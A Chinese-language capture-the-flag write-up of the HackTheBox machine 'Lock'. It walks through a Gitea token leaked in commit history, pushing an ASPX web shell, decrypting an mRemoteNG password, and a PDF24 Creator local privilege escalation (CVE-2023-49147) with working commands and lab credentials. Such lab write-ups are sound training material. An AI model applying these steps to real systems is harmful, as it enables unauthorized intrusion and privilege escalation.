本文最后更新于 2026年3月12日 下午
一、靶场详情
靶场名称:

靶场地址:
https://app.hackthebox.com/machines/Lock
靶场环境连接说明:
演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。
二、思路总结
突破边界(获取用户旗帜):
Git token 泄露 –> 上传 web shell –> 系统 ellen.freeman 用户权限 –> mremoteng 配置文件解密 –> 系统 Gale.Dekarios 用户权限 –> 用户旗帜
权限提升(获取管理员旗帜):
PDF24 Creator 本地提权漏洞(UI 界面) –> 系统 system 权限 –> 管理员旗帜
三、靶场攻击演示
3.1 靶场信息收集
使用 nmap 对靶机进行端口扫描。
TCP 端口扫描:
1 2 3 4 5 6 7
| sudo nmap -p- 10.129.234.64 --min-rate=2000
PORT STATE SERVICE 80/tcp open http 445/tcp open microsoft-ds 3000/tcp open ppp 3389/tcp open ms-wbt-server
|
UDP 端口扫描:未发现可利用的端口。
继续使用 nmap 对已开放端口的服务进行信息收集。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| sudo nmap -p80,445,3000,3389 -sCV 10.129.234.64
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Lock - Index 445/tcp open microsoft-ds? 3000/tcp open http Golang net/http server | fingerprint-strings: | GenericLines, Help, RTSPRequest: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Cache-Control: max-age=0, private, must-revalidate, no-transform | Content-Type: text/html; charset=utf-8 | Set-Cookie: i_like_gitea=51680e916066cc82; Path=/; HttpOnly; SameSite=Lax | Set-Cookie: _csrf=leEPxHUbCx2kqspq-0aULZoSrOM6MTc2MTI3OTAxODk1MjgxNzkwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax | X-Frame-Options: SAMEORIGIN | Date: Fri, 24 Oct 2025 04:10:19 GMT | <!DOCTYPE html> | <html lang="en-US" class="theme-auto"> | <head> | <meta name="viewport" content="width=device-width, initial-scale=1"> | <title>Gitea: Git with a cup of tea</title> | <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjU | HTTPOptions: | HTTP/1.0 405 Method Not Allowed | Allow: HEAD | Allow: GET | Cache-Control: max-age=0, private, must-revalidate, no-transform | Set-Cookie: i_like_gitea=181d8a8a4a7acbc2; Path=/; HttpOnly; SameSite=Lax | Set-Cookie: _csrf=Gl4N9I85QBauPiwaKCicZyBfqpk6MTc2MTI3OTAxOTUyMDgzNjIwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax | X-Frame-Options: SAMEORIGIN | Date: Fri, 24 Oct 2025 04:10:19 GMT |_ Content-Length: 0 |_http-title: Gitea: Git with a cup of tea 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=Lock | Not valid before: 2025-10-23T03:18:38 |_Not valid after: 2026-04-24T03:18:38 | rdp-ntlm-info: | Target_Name: LOCK | NetBIOS_Domain_Name: LOCK | NetBIOS_Computer_Name: LOCK | DNS_Domain_Name: Lock | DNS_Computer_Name: Lock | Product_Version: 10.0.20348 |_ System_Time: 2025-10-24T04:10:42+00:00 |_ssl-date: 2025-10-24T04:11:23+00:00; -8s from scanner time. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
由此得出结论:
系统为 Windows 环境,开放有 HTTP、SMB 和 RDP 服务。
3.2 渗透测试突破边界
3.2.1 Git token 泄露、上传 webshell 得到 ellen.freeman 用户权限
靶机的 HTTP(80)端口和 SMB 服务未发现有价值的信息,在 HTTP 3000 端口上部署了 Gitea 应用(版本 1.21.3)。


Gitea 1.21.3 版本未发现可利用的 RCE 漏洞,但在代码仓库中发现名为 dev-scripts 的项目。通过查看该项目的历史提交记录,获取到了一个 Git Token 信息。




下载 repos.py 文件至本地,在 kali 设置 GITEA_ACCESS_TOKEN 环境变量,执行 repos.py 脚本可发现一个新的代码项目。
1
| export GITEA_ACCESS_TOKEN=43ce39bb0bd6bc489284f2905f033ca467a6362f
|


使用 Gitea token 尝试将项目克隆至本地。
1
| git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.234.64:3000/ellen.freeman/website.git
|

项目中 changelog 和 readme 文件提示系统新建了一个网站,而且会自动部署存储库的代码,我们可尝试通过 Git 上传 webshell。



根据 index.html 内容判断,系统 HTTP 80 端口大概率部署了该项目代码,下载 aspx webshell,然后通过 Git push 指令上传。
1 2
| https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
|

通过 HTTP 80 端口访问 Git 上传的 webshell,得到系统 ellen.freeman 用户权限。

通过 webshell 获取 ellen.freeman 用户反弹 shell。



3.2.2 mRemoteNG 配置文件解密得到 Gale.Dekarios 用户权限
在 ellen.freeman 用户 documents 目录发现 config.xml 文件,将其下载至本地。

配置文件保存了 Gale.Dekarios 用户加密密码,根据 Icon 字段信息在搜索引擎检索,发现该文件属于 mRemoteNG 应用配置文件。


Github 有现成的解密脚本,利用脚本解密可得到系统 Gale.Dekarios 用户明文密码。
1
| https://github.com/gquere/mRemoteNG_password_decrypt
|

使用获取的 Gale.Dekarios 用户密码 RDP 登录靶机。
1
| xfreerdp3 /u:"Gale.Dekarios" /p:"ty8wnW9qCKDosXo6" /v:10.129.234.64 /cert:ignore /dynamic-resolution /clipboard /scale:180
|

3.2.3 用户旗帜获取

3.3 提权获取系统最高权限
3.3.1 PDF 24 本地提权获取系统 system 权限
将 Windows 文件扩展和隐藏文件显示打开。

在 Windows 图标栏发现系统运行了 PDF 24 应用,版本为 11.15.1,搜索引擎检索发现该版本历史存在本地提权漏洞(CVE-2023-49147)。



参考链接:
1
| https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-msi-installer-in-pdf24-creator-geek-software-gmbh/
|

PDF 24 msi 安装包在系统 C 盘 _install 目录中,只需要下载 SetOpLock.exe 程序设置机会锁即可。

1
| https://github.com/googleprojectzero/symboliclink-testing-tools
|


在靶机 cmd 执行 SetOpLock.exe 设置机会锁。
1
| SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r
|

执行修复 PDF 24 操作。
1
| msiexec /fa pdf24-creator-11.15.1-x64.msi
|


当程序执行写入日志时,会弹出 system 权限 cmd 窗口,由于使用 SetOpLock.exe 开启了机会锁,该窗口不会立即退出。

在 system 权限的 cmd 窗口创建右键点击属性,找到下方跳转至浏览器的链接按钮,然后选择火狐浏览器,注意: 一定要选择火狐浏览器,IE 和 Edge 浏览器无法以 system 权限启动,而且一旦选错需要重置靶机。



通过 Ctrl + O 打开文件,然后输入 cmd 点击回车,得到系统 system 权限 shell。


3.3.2 管理员旗帜获取

Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨